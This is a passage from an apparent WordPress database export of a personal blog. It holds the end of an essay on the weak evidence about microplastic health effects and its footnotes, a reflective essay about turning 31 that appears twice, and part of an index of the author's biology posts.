in-vitro results have been tested based on educated guesswork</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2) Small animal (usually mouse or rat) toxicology with limited pathology, because university labs rarely have the funding or capability to do large animal toxicology or complete clinical pathology</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3) Whatever other random small animal trials get done</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>6) Circumstantial evidence from humans who’ve been exposed to microplastics</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s definitely not up to our gold standard, in other words. Probably a copper standard at best. So, that’s why we end up with such wishy-washy statements about the actual harm of microplastics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How to improve the evidence on microplastic safety&nbsp;</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>I’ve started to notice some interest in microplastics from super wealthy people, which is part of the reason I wrote this post. I think it’s worthwhile to do better research on microplastics, because I think there’s a definite possibility they could be a much more serious health problem than we realize.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Unfortunately, I don’t think this better research will come from the big microplastics project that was just announced,&nbsp;<a href=\"https://x.com/natfriedman/status/1792924812307751409\">Nat Friedman’s project</a><a href=\"https://trevorklee.substack.com/p/on-the-safety-of-microplastics#footnote-6-145179625\">6</a>. Now, I have a lot of respect for Nat, at least as far as I know him. I think&nbsp;<a href=\"https://scrollprize.org/\">his Scroll project</a>&nbsp;was very cool and well done, and I am hugely in favor of rich people funding science in the public interest. So, this is all meant as a good faith criticism.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Nat’s project is basically about surveying the top 80-100 foods that people want surveyed for microplastics, and then publishing the results. That’s pretty much it, as far as I can tell, along with publishing a review of the existing literature on the safety of microplastics<a href=\"https://trevorklee.substack.com/p/on-the-safety-of-microplastics#footnote-7-145179625\">7</a>. Unfortunately, this doesn’t engage with the pre-existing literature, as they say.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Because, in the pre-existing literature, there’s already been a bunch of studies on microplastics in common foods. Just from a quick Google search, I found&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1) A big Consumer Reports study of&nbsp;<a href=\"https://www.consumerreports.org/health/food-contaminants/the-plastic-chemicals-hiding-in-your-food-a7358224781/\">microplastics in 67 grocery store foods and 18 fast foods</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2) A study of&nbsp;<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC9119856/\">plasticizers in fast food in San Antonio&nbsp;</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3) And a study of&nbsp;<a href=\"https://www.nature.com/articles/s41370-023-00596-0\">plasticizers in a variety of organic and non-organic vegetable oils, dairy, and infant formulae</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All of these studies find basically the same thing, which is that there’s a wide range of plasticizer concentrations in common food items, from a lot to none. Now, there are some gaps in this testing literature, like how they mostly focus on phthalates, a specific type of plasticizer, and how the selection of food items to test seems to be random, but, overall, the message seems pretty clear: the food you buy probably has plasticizers in it, which might be bad.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I don’t think Nat’s project can meaningfully contribute to this research. At best, the guys working on Nat’s project might be able to test new foods for additional plasticizers beyond phthalates, which will, I guess, give more evidence as to how the food we buy has plasticizers in it, but that’s not much of a contribution. Knowing that additional food items do or do not have plasticizers in them doesn’t really help us much, given our lack of knowledge about the health effects of consuming plasticizers or plastics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Instead, I think the real gaps that exist are either further upstream or further downstream. Further upstream, the gaps are more along the lines of why there is such a big variation in plasticizer concentration in foods, like how there are 1000 ng of phthalates in Mrs. Butterworth’s syrup vs. 22 ng of phthalates in Sweet Baby Ray’s BBQ sauce. This is a huge discrepancy of 500x for two similar sized products with similar packaging, and none of the literature seems to have good explanations for it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If the discrepancy lies in the packaging materials themselves or the packaging process, this presents obvious opportunities for follow-up experiments to try to reduce the levels of phthalates by altering the materials or packaging process. This would also present obvious opportunities for regulatory or grassroots pressure to mandate low-phthalate materials or processes for packaged foods, because the regulation could just be “Do whatever Sweet Baby Ray’s does”, assuming that’s universalizable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>On the other hand, if the discrepancy does not lie in the packaging materials or process, this would also be an interesting result. This would suggest a more fundamental contamination of the food supply with phthalates, like that the corn used to make Mrs. Butterworth’s is already filled with phthalates by the time it’s harvested. This would also be much more disturbing, but, you know, that’s science.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Figuring out why these discrepancies exist and how to test them would, of course, require more expertise than simply blindly testing items. Conagra isn’t likely to be open about how Mrs. Butterworth’s syrup is made, and it’d be impossible to figure it out by just blind guessing. But manufacturing consultants with this expertise exist in the food industry just like they do in the drug industry, and I’m sure they’d love to get paid and be an author on a paper, because that’s not a common opportunity for them. And I’d bet these consultants will have some thoughts already about this discrepancy, because phthalates are probably a well-discussed topic in their meetings. I’m sure it’s not a happy coincidence that Sweet Baby Ray’s has low phthalate levels.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6003add6-d4fc-447b-934a-8661d779bda9_374x1000.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6003add6-d4fc-447b-934a-8661d779bda9_374x1000.jpeg\" alt=\"Amazon.com : Mrs. Butterworth\'s Original Thick and Rich Pancake Syrup, 12  oz : Grocery &amp; Gourmet Food\" title=\"Amazon.com : Mrs. Butterworth\'s Original Thick and Rich Pancake Syrup, 12  oz : Grocery &amp; Gourmet Food\"/></a><figcaption class=\"wp-element-caption\">Mrs. Butterworth’s: for that smooth, plasticky taste you can’t get anywhere else.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>So, the upstream gap is&nbsp;<em>why&nbsp;</em>the discrepancy exists. The downstream gap is, of course, the health consequences of this gap. As I said at the beginning of this piece, there are still a bunch of unanswered questions as to what the consequences of any of this are. It’s definitely not good that Mrs. Butterworth’s secret ingredient is phthalates, but whether that’s a catastrophe on the level of lead in the drinking water is still up for debate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Barring massive amounts of money for animal testing or a permissive environment for human testing, I think the best case scenario here would be a natural experiment. If there’s some scenario in which people with excellent long-term health records get suddenly exposed to high levels of microplastics, then matching those people with controls could show clearly the health effects of microplastics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The most obvious place to look for these would be places where people get both prescribed meals and regular health checkups, like prisons, the military, and long-term care. This would, again, require some legwork. Figuring out which facilities serve food with high levels of phthalates or other sorts of microplastics and then working with them to analyze their health data will not be easy, either scientifically or regulatorily (not only because health data is protected, but because this could embarrass or legally endanger the facility in question).&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, this line of research would be very rewarding. This research could give us a clear signal like, “People in the Army consume high levels of phthalates and have high levels of infertility. People who’ve eaten more Army food with phthalates have higher levels of infertility than other soldiers, with infertility starting directly after consumption of phthalates.” This would be a very strong result in the microplastic literature and, again, provide ample fodder for regulators or consumers to demand changes, now that there’s stronger evidence of the actual health damages caused by microplastics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, I get that both of these lines of research would entail greater funding, more expertise, and more time than Nat’s project. They also don’t involve the power of amateur researchers, which Nat’s Scroll project used really effectively and which Nat is kind of involving here by&nbsp;<a href=\"https://www.plasticlist.org/\">having people vote on which food items to test for microplastics</a>, although that seems mostly like a marketing gimmick. But, you know, science does sometimes take time, money, and expertise. And what’s the point of making tons of money through AI investing if you can’t spend some of it on good science?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">The microplastic safety evidence that does exist in table format</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Ok, enough about what we could find out. Let’s talk about what we do know. I’ve made a short table below of the known health consequences of the most common types of plastics and plasticizers.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fair warning: there’s really not much, even for the most common plastics and plasticizers and even when I group plastics and plasticizers instead of breaking them up into their actual chemical formulae. We are unfortunately far, far away from our gold standard of toxicology for each type of plastic, plasticizer, and combination. Also, shout out to Perplexity.AI for making this research easier than I thought it was going to be.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>With that being said, here is the table. Please note that these are images, and if you want the links in the images, you’ll have to go to&nbsp;<a href=\"https://docs.google.com/document/d/1hDggXO2S8BXdyVK4zDsZ9z7FcvrNjOB7XR3T1flZLO8/edit?usp=sharing\">this Google Doc</a>.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6043bb26-a374-4ea7-858e-06bf6447ed8b_1106x1316.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6043bb26-a374-4ea7-858e-06bf6447ed8b_1106x1316.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F335712f9-dd35-4b61-ab4b-3e5e54d3d7be_1118x991.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F335712f9-dd35-4b61-ab4b-3e5e54d3d7be_1118x991.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/on-the-safety-of-microplastics#footnote-anchor-1-145179625\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are some older drugs that are grandfathered in and probably would not pass modern safety testing regimes. People often bring up Tylenol as an example of one of these drugs, because acetaminophen, the active ingredient in Tylenol, is very easy to overdose on (literally just double the recommended daily dose, or the equivalent of taking one maximum strength pill per waking hour), overdoses can be fatal and need to be treated at a hospital, and yet it can be bought by children without a prescription.<br><br>Another interesting grandfathered drug I came across recently was Afrin, the nasal decongestant. Afrin can be bought over the counter, and yet it becomes addictive in just 3 days of use, in the sense that you will become physically dependent on it to open up your sinuses. People who are predisposed to addiction can also become easily addicted to it in the more classical sense, suffering anxiety that can only be alleviated by more Afrin. You can find some horror stories on Reddit of people whose lives get ruined by addiction to Afrin. Again, it’s unlikely Afrin would pass modern safety testing regimes because of this.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/on-the-safety-of-microplastics#footnote-anchor-2-145179625\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Traditionally, these two species are mice and dogs. This is problematic because dogs, especially, are susceptible to some chemicals that humans are not (e.g. chocolate). This has led to the common drug developers’ complaint, “Drugs kill dogs and dogs kill drugs”. This susceptibility, combined with dogs’ propensity to vomit randomly, has made minipigs increasingly popular as a second species.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/on-the-safety-of-microplastics#footnote-anchor-3-145179625\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Too strict, in my opinion, but that’s an argument for another post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/on-the-safety-of-microplastics#footnote-anchor-4-145179625\">4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is like a minimum to do your basic batch of in vitro studies and in vivo toxicology studies for well-understood small molecules. Specialty testing, like for a new modality, or long-term testing, like for a gene therapy, will be more expensive.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/on-the-safety-of-microplastics#footnote-anchor-5-145179625\">5</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are a few national health services that might be a good fit for this, like Taiwan’s or Sweden’s, because they collect and publicly analyze their data anyways, but I haven’t seen any studies from them like this. I think the way they work is that they release data that’s already being regularly collected for studies, but they won’t collect new types of data for a study. I could be wrong, though.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/on-the-safety-of-microplastics#footnote-anchor-6-145179625\">6</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Conflict of interest notice: I applied for the project when he just said he needed someone for a microplastics project, which I assumed was going to be a research project similar to this one. I talked to Nat over Zoom, found out what he planned, and sent him an email similar to this section to try to persuade him to do differently, which he didn’t respond to. That encounter, combined with my pre-existing interest in microplastics and this fun plastic testicle study, made me write this post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/on-the-safety-of-microplastics#footnote-anchor-7-145179625\">7</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>He also mentions something about “Stretch goal is to develop ‘Lactaid for microplastics’”. Lactaid, if you don’t know, is a consumable form of the lactase enzyme, which allows lactose-intolerant people to consume lactose products. I’m not sure how serious Nat is about this stretch goal, but, if he is, this really doesn’t make sense. There aren’t any enzymes that can develop microplastics, at least not in humans. They’d have to develop a bacteria that can quickly digest microplastics and then people would consume these bacteria every time they eat food with microplastics, which could be any food. There are a bunch of problems with this, not least of which would be the safety issue of consuming those bacteria. I’m not sure Nat has thought this through.</p>\n<!-- /wp:paragraph -->','On the safety of microplastics','','inherit','closed','closed','','448-revision-v1','','','2024-06-12 17:12:00','2024-06-12 17:12:00','',448,'https://trevorklee.com/?p=449',0,'revision','',0),
(450,1,'2024-06-12 17:12:38','2024-06-12 17:12:38','<!-- wp:paragraph -->\n<p>I’ve been having dreams, recently, where I forget to study for my final exams in college and I have just an hour to cram a semester’s worth of material in my head. In my dreams, I never actually start studying, but I make plans on how to budget my time so I can scrape by and pass each exam. Then I wake up and have a few seconds of panic before I remember I graduated 9 years ago.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These dreams are cliche, I know, but my subconscious doesn’t seem to recognize that. It insists on feeding me these dreams, regardless. It doesn’t seem to realize that this doesn’t make sense: not only has this never happened to me, but this hasn’t ever really been a fear of mine. I never had dreams about forgetting to study for finals in college. Instead, I’d have dreams that I was still stuck in high school, stuck in my double period French class, waiting endlessly for the bell to ring.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Maybe that’s because back in college time seemed infinite, and my biggest worry was that it would stretch on forever. But now my biggest fear is not just that time is finite, but that it’s precious and I’ve wasted it. I turned 31 about a week ago, which is the oldest I’ve ever been. It’s not quite so monumental a birthday as 30, but, for some reason, its mundanity makes it feel more impactful. I’m firmly in my early 30s now. I’m a man, with no adjectives like “young” in front of my noun.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I will no longer ever again be a child prodigy, read above grade level, or be remarkably mature for my age. I am expected to fully participate in society and nobody will give me any leeway. My startup can’t be considered a lark or cute: it’s a business, with legal and ethical obligations. My signature is final. My girlfriend and I are assumed to be “serious” about one another; there’s no point in dating in your early 30s if you’re not. A sports career, if it was ever a path for me, has been shut off forever. When I think through the sports I’ve loved: tennis, breakdancing, jiu jitsu, I’m older than every single person at the top of those sports.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fce35ab61-9a0f-4d50-9b27-95b9cf6944e7_1024x1024.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fce35ab61-9a0f-4d50-9b27-95b9cf6944e7_1024x1024.jpeg\" alt=\"A child dreaming of becoming an adult, surreal but realistic, digital art, midjourney\" title=\"A child dreaming of becoming an adult, surreal but realistic, digital art, midjourney\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>The worst part is that I’m getting used to all of this, all of these ridiculous accoutrements, indignities, and obligations of getting older. I feel the callouses that have formed and are getting thicker. I’ve seen loved ones die and come close to death, broken up with best friends, sat quietly in hospital rooms with people through their darkest moments. I’ve celebrated with friends as they became millionaires, mourned with friends as they’ve lost millions, and tried to comfort them with empty platitudes about money not being everything. I’ve seen a lot, I think. Not everything, maybe not most things, but a lot.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And yet I try to keep a fire burning within, to wake up every day and tackle the problems of myself and of the world. I brush my teeth each morning and each night, pick up trash on the sidewalk, and try to call out bullshit where I see it. I work out, although less than I should, take my dog to the park every day, and call my parents at least once a week. I read scientific papers and novels, write scientific blog posts and sentimental ones, and create slideshows containing the word “update”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is me at 31. Hello, world.</p>\n<!-- /wp:paragraph -->','Birthday dreams','','publish','closed','closed','','birthday-dreams','','','2024-06-12 17:12:38','2024-06-12 17:12:38','',0,'https://trevorklee.com/?page_id=450',0,'page','',0),
(451,1,'2024-06-12 17:12:38','2024-06-12 17:12:38','<!-- wp:paragraph -->\n<p>I’ve been having dreams, recently, where I forget to study for my final exams in college and I have just an hour to cram a semester’s worth of material in my head. In my dreams, I never actually start studying, but I make plans on how to budget my time so I can scrape by and pass each exam. Then I wake up and have a few seconds of panic before I remember I graduated 9 years ago.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These dreams are cliche, I know, but my subconscious doesn’t seem to recognize that. It insists on feeding me these dreams, regardless. It doesn’t seem to realize that this doesn’t make sense: not only has this never happened to me, but this hasn’t ever really been a fear of mine. I never had dreams about forgetting to study for finals in college. Instead, I’d have dreams that I was still stuck in high school, stuck in my double period French class, waiting endlessly for the bell to ring.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Maybe that’s because back in college time seemed infinite, and my biggest worry was that it would stretch on forever. But now my biggest fear is not just that time is finite, but that it’s precious and I’ve wasted it. I turned 31 about a week ago, which is the oldest I’ve ever been. It’s not quite so monumental a birthday as 30, but, for some reason, its mundanity makes it feel more impactful. I’m firmly in my early 30s now. I’m a man, with no adjectives like “young” in front of my noun.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I will no longer ever again be a child prodigy, read above grade level, or be remarkably mature for my age. I am expected to fully participate in society and nobody will give me any leeway. My startup can’t be considered a lark or cute: it’s a business, with legal and ethical obligations. My signature is final. My girlfriend and I are assumed to be “serious” about one another; there’s no point in dating in your early 30s if you’re not. A sports career, if it was ever a path for me, has been shut off forever. When I think through the sports I’ve loved: tennis, breakdancing, jiu jitsu, I’m older than every single person at the top of those sports.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fce35ab61-9a0f-4d50-9b27-95b9cf6944e7_1024x1024.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fce35ab61-9a0f-4d50-9b27-95b9cf6944e7_1024x1024.jpeg\" alt=\"A child dreaming of becoming an adult, surreal but realistic, digital art, midjourney\" title=\"A child dreaming of becoming an adult, surreal but realistic, digital art, midjourney\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>The worst part is that I’m getting used to all of this, all of these ridiculous accoutrements, indignities, and obligations of getting older. I feel the callouses that have formed and are getting thicker. I’ve seen loved ones die and come close to death, broken up with best friends, sat quietly in hospital rooms with people through their darkest moments. I’ve celebrated with friends as they became millionaires, mourned with friends as they’ve lost millions, and tried to comfort them with empty platitudes about money not being everything. I’ve seen a lot, I think. Not everything, maybe not most things, but a lot.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And yet I try to keep a fire burning within, to wake up every day and tackle the problems of myself and of the world. I brush my teeth each morning and each night, pick up trash on the sidewalk, and try to call out bullshit where I see it. I work out, although less than I should, take my dog to the park every day, and call my parents at least once a week. I read scientific papers and novels, write scientific blog posts and sentimental ones, and create slideshows containing the word “update”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is me at 31. Hello, world.</p>\n<!-- /wp:paragraph -->','Birthday dreams','','inherit','closed','closed','','450-revision-v1','','','2024-06-12 17:12:38','2024-06-12 17:12:38','',450,'https://trevorklee.com/?p=451',0,'revision','',0),
(452,1,'2024-06-12 17:37:47','2024-06-12 17:37:47','<div class=\"ml-form-embed\" data-account=\"1447886:p2j3d8j1q4\" data-form=\"4814894:l5k3q3\">\n</div>\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Biology</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-this-all-the-medicine-we-were-promised/\" data-type=\"page\" data-id=\"403\">Is this all the medicine we were promised?</a> Complaining about lecanemab and other so-so medications.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/does-herpes-cause-dementia-maybe-but-im-not-convinced/\" data-type=\"page\" data-id=\"393\">Does herpes cause dementia?</a> I doubt it, but I try to give it a fair shake.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-miracle-drug-sold-over-the-counter/\" data-type=\"page\" data-id=\"383\">A miracle drug sold over the counter</a> - Exploring one of my favorite drugs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-you-work-for-neuralink-probably-not/\" data-type=\"page\" data-id=\"371\">Should you work for Neuralink? Probably not. </a>- I find out that judging Elon Musk\'s companies is hard. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/bacterial-vaginosis-we-contain-multitudes/\" data-type=\"page\" data-id=\"364\">Bacterial vaginosis</a> - On the causes, consequences, and treatment of BV.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/diagnosing-and-treating-chronic-cough/\" data-type=\"page\" data-id=\"342\">Diagnosing and treating chronic cough</a> - Self-explanatory. Same vein as my IBS post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-place-of-ai-chatgpt-in-drug-discovery/\" data-type=\"page\" data-id=\"334\">The place of AI/ChatGPT in drug discovery</a> - For actual drug discovery, it might never be helpful. But, for the stuff around drug discovery (like keeping track of project timelines), I\'m hopeful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/prilosec-nexium-and-the-narrowing-of-american-pharmaceutical-ambition/\" data-type=\"page\" data-id=\"332\">Prilosec, Nexium, and the narrowing of American pharmaceutical ambition</a> - Discussing how Prilosec (omeprazole) was a really cool, impressive drug, then its sequel, Nexium (esomeprazole), was a shameless cash grab. The manufacturer got its comeuppance though, when Nexium, uh, made $50 billion over its lifetime.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/steelmanning-chiropractic%ef%bf%bc/\" data-type=\"page\" data-id=\"317\">Steelmanning chiropractic</a> - Trying to prove that chiropractors have some useful ideas. This proved to be an insanely controversial post on Reddit. People hate chiropractors.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-ive-tried-to-fix-my-lower-back-pain/\" data-type=\"page\" data-id=\"319\">How I\'ve tried to fix my lower back pain</a> - Exploring a variety of methods to fix lower back pain and then just ending up back at stretching and strengthening.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/biology-has-analogies-not-paradigms%ef%bf%bc/\" data-type=\"page\" data-id=\"323\">Biology has analogies, not paradigms</a> - Talking about how, unlike Kuhn or Popper\'s models of science, there are no real paradigms or falsification of models in molecular biology. There are just analogies, which are imperfect but useful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-does-the-flu-covid-make-us-tired%ef%bf%bc/\" data-type=\"page\" data-id=\"303\">Why does the flu/COVID make us tired</a>? - Inspired by a recent bout with COVID, trying to figure out why COVID makes us so exhausted. Discusses the relationship between adenosine and sleep vs. glucose and fatigue (i.e. the tired you get at night vs. the tired you get after a marathon).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-being-big-and-old-risk-factors-for-cancer-or-not%ef%bf%bc/\" data-type=\"page\" data-id=\"301\">Are being big and old risk factors for cancer or not?</a> - Returning back to the question of the relationship of age and size with cancer. Why is a fat 3-year-old mouse so much more likely to get cancer than a 100-year-old whale?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/obesitys-relationship-with-type-2-diabetes-is-really-weird/\" data-type=\"page\" data-id=\"287\">Obesity\'s relationship with type 2 diabetes is really weird</a> - Once again, I go down the rabbit hole of obesity\'s weird health effects. This time, it\'s exploring type 2 diabetes, and why it\'s so easy to reverse and then un-reverse. It\'s weird!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-medical-thought-experiment/\" data-type=\"page\" data-id=\"283\">A medical thought experiment</a> - Traveling back in time to see if one could rediscover germ theory in the year 1650. Then, a twist!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/you-should-justify-your-exclusion-criteria/\">You should justify your exclusion criteria</a> - Discussing the use of exclusion criteria in medical intervention studies. Too often, they\'re used to redefine conditions into different ones than are discussed in the abstract.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/can-gene-therapy-fix-any-genetic-defect/\">Can gene therapy fix any genetic defect?</a> - Talking about the sorts of things gene therapy is good for and the sorts of things it really isn\'t.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-manifold-effects-of-tetracycline/\">The manifold effects of tetracycline</a> - Elaborating on the weirdly long list of effects of tetracycline and celebrating \"dirty\" drugs. Did you know tetracycline can cause teeth graying?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/ebv-causes-multiple-sclerosis-so-what/\" data-type=\"page\" data-id=\"263\">Epstein-Barr virus causes multiple sclerosis. So what?</a> - I question the implications of the most exciting epidemiological study of the year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-you-take-metformin-for-longevity/\">Should you take metformin for longevity? No.</a> - Sorry for the spoiler, but in this essay, I take a look at the promise of metformin now for longevity, and the promise of metformin as a longevity therapeutic in the future. Neither impresses me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/want-to-reverse-aging-try-reversing-graying-first/\">Want to reverse aging? Try reversing graying, first</a>. - Looking at the difficulties of graying research and comparing them with the much greater difficulties of general aging research. Also, looking at spontaneous re-pigmentation as possibly the only example of \"reversing\" aging in humans, and what can be learned from that.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-did-they-give-antidepressants-to-covid-patients/\" data-type=\"page\" data-id=\"234\">Why did they give antidepressants to COVID patients?</a> - Looking at the 